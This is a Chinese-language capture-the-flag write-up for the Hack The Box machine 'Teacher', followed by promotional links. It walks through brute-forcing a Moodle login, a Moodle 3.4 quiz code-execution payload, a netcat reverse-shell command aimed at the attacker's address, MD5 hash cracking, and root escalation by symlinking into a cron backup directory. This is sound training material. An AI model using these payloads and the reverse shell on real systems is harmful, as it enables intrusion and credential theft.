出品|MS08067实验室(www.ms08067.com)

本文作者:大方子(Ms08067实验室核心成员)

Kali: 10.10.14.50

靶机地址:10.10.10.153

先用nmap 对靶机进行扫描

nmap -sC -sV -sT 10.10.10.153

只开启了80端口,网页内容如下

一个静态的网页,还有一些其他的页面,Courses,Students等等

检查下网页的源代码,在GALLERY页面发现一个奇怪的点

第一个img元素多了一个onerror错误事件,意思是加载错误时在控制台输出(That‘s an F)

然后其他的img图片都是能正常打开唯独第一个是无法打开的

那么可能这个图片里面藏着什么东西,用curl下载来看看

curl http://10.10.10.153/images/5.png -o image.png

下载过来的文件是打不开的,可能它是损坏的或者它就不是一个图片

我们用file+cat命令查看文件类型以及文件里面的内容

他的意思是忘记了密码的最后一位,让我们弄清楚密码或者是去重置密码

我们用gobuster对网页的目录进行爆破处理

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50

/phpMyAdmin

/moodle

PhpMyAdmin被拦截无法访问,然后moodle是正常可以访问的

Moddle有个登陆页面

帐户密码可能就是刚刚提示所说的

帐户:Giovanni

然后密码的最后一位我们需要去猜解

我们用burp的intruder模块进行暴力猜解

加载一下两个字典(数字+大小写字母+特殊字符)

/usr/share/SecLists/Fuzzing/alphanum-case.txt

/usr/share/SecLists/Fuzzing/special-chars.txt

根据响应长度的不同,找出了最后一位的密码位#

正确的帐户和密码如下:

Username:Giovanni

Password:Th4C00lTheacha#

我们需要查看下moodle的版本,然后找对应的EXP

可以找到任意网页下面的(Moodle Docs for this page),查看他跳转的url根据url参数看出它是什么版本的

所以这个版本是3.4版本的,然后我们去google查找3.4版本的漏洞

漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/

我们可以利用quiz进行代码执行

打开编辑模式

任选一个TOP创建一个活动

点击quiz

输入内容,然后点击(Save and display)

然后我们点击 edit quiz

并添加一个新问题。问题类型将是Calculated

然后信息随便填写

在answers填入(这个在这其实并不适用)

/*{a*/`$_REQUEST[sdfz]`;//{x}}`;

在实际运用的过程中还是会需要修改下payload的

经过2次的修改最终的payload为

/*{a*/`$_REQUEST[sdfz]`;//{x}}

成功后就来到这个页面

我们将点击Next Page访问页面:

如果能正常显示说明payload没有问题

我们用kali监听1337

然后在页面后面添加如下url并访问

&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f

然后得到shell

尝试切换到用户目录发现不允许

所以我们需要找到用户的shell

然后我就返回moodle目录查找有没有可用线索,发现config.php配置文件

我们通过mysql -u root -p进行登陆,但是发现不能连续性执行sql语句,shell交互性很差

我们通过python来建立起一个shell

python -c 'import pty;pty.spawn("/bin/bash")'

执行下面2句sql:

use moodle;
select username,password from mdl_user;

前3个就是被混淆过可能无法破解,我们看下第4个的长度

echo -n 7a860966115182402ed06375cf0a22af | wc -c

发现是32位,应该是MD5加密

破解下

也可以到这个网站破解:https://crackstation.net/

帐户:Giovannibak(这个帐户其实是不对的)

密码:expelled

然后我们切换过去

发现这个用户有问题应该是不存在的,后来看到bak可能是备用的用户,我们查下/etc/passwd

帐户:giovanni

密码:expelled

得到user flag

接下来就是获得root权限,经过各种查找

在giovanni的work目录下发现一个,应该是任务计划数据备份的留下的线索

然后我看了下计划任务

有的目录不能访问,有的就是各种调用,这里我用一个就是进程过程监控工具,我只要看它到时候调用了什么脚本生成备份数据

项目地址:https://github.com/DominicBreuker/pspy/releases

直接下这个已经编译好的二进制

先看下靶机的系统

这里我就直接下这个

接下来就是常规操作,本地用python的SimpleHTTPServer模块开启HTTP服务,然后靶机用wget远程下载pspy,这里我们把pspy下载到靶机的/dev/shm目录

然后chmod +x 并执行

这里很明显切换了root身份开始了任务计划,同时我们也看到了/usr/bin/backup.sh这个脚本,我们可以通过它得到root shell,但是发现我们只有执行的权限并没有编辑权限

查看下文件的内容

它压缩/home/giovanni/work/courses目录中的所有东西,在切换到tmp目录把压缩包解压到tmp目录中去。利用这个特性,我们rm -r 删除原始的courses目录,并创建root目录的软连接即ln -s /root courses

这样脚本再次进行数据备份的时候会把root目录下的东西解压缩到tmp目录,然后我们直接cat root flag即可





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

【HTB系列】靶机Teacher的渗透测试详解的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Vault的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...

  5. 【HTB系列】 靶机Swagshop的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...

  6. SpringBoot系列(六)集成thymeleaf详解版

    SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介  1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎.  2. Thymeleaf ...

  7. Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)

    上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...

  8. Spring框架系列(11) - Spring AOP实现原理详解之Cglib代理实现

    我们在前文中已经介绍了SpringAOP的切面实现和创建动态代理的过程,那么动态代理是如何工作的呢?本文主要介绍Cglib动态代理的案例和SpringAOP实现的原理.@pdai Spring框架系列 ...

  9. Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现

    上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...

随机推荐

  1. Jenkins(7)参数化构建(构建git仓库分支)

    前言 当我们的自动化项目越来越多的时候,在代码仓库会提交不同的分支来管理,在用jenkins来构建的时候,我们希望能通过参数化构建git仓库的分支. 下载安装Git Parameter插件 系统管理- ...

  2. Codeforces Round #676 (Div. 2)【ABCD】

    比赛链接:https://codeforces.com/contest/1421 A. XORwice 题意 给出两个正整数 \(a.b\),计算 \((a \oplus x) + (b \oplus ...

  3. spoj687 REPEATS - Repeats (后缀数组+rmq)

    A string s is called an (k,l)-repeat if s is obtained by concatenating k>=1 times some seed strin ...

  4. HDU 2176 取(m堆)石子游戏 && HDU1850 Being a Good Boy in Spring Festivaly

    HDU2176题意: m堆石子,两人轮流取.只能在1堆中取.取完者胜.先取者负输出No.先取者胜输出Yes,然后输出怎样取子. 通过 SG定理 我们可以知道每一个数的SG值,等于这个数到达不了的前面数 ...

  5. Codeforces Round #498 (Div. 3) D. Two Strings Swaps (思维)

    题意:给你两个长度相同的字符串\(a\)和\(b\),你可以将相同位置上的\(a\)和\(b\)的字符交换,也可以将\(a\)或\(b\)中某个位置和对应的回文位置上的字符交换,这些操作是不统计的,你 ...

  6. JavaScript函数console、this关键字

    console.dir()打印出来的东西不加任何操作 console.log()打印出来东西实现进行了操作,打印出来的东西可能不是原型 具体对象的类型可以在"_proto_"中看, ...

  7. K8S(14)监控实战-grafana出图_alert告警

    k8s监控实战-grafana出图_alert告警 目录 k8s监控实战-grafana出图_alert告警 1 使用炫酷的grafana出图 1.1 部署grafana 1.1.1 准备镜像 1.1 ...

  8. 编译安装MySQL 5.5.33

    环境要求: 主机名 IP地址 需要软件及版本 系统版本 mysql.mfyxw.com 192.168.80.135 Mysql5.5.33 5.5.33 1.设定主机名 hostnamectl se ...

  9. 6.Header交换机之模拟验证用户身份

    标题 : 6.Header交换机之模拟验证用户身份 目录 : RabbitMQ 序号 : 6 var channel = connection.CreateModel(); ​ //设置服务质量 ch ...

  10. 【情人节选帽子】TCS34725颜色传感器和Python图形界面编程(STM32 HAL库)

    截图 描述: l  STM32 HAL库编程 l  使用模拟IIC通信,方便程序移植 l  Python界面编写,蘑菇头的帽子是什么颜色 l  STM32 HAL库串口通信 l  Python界面使用 ...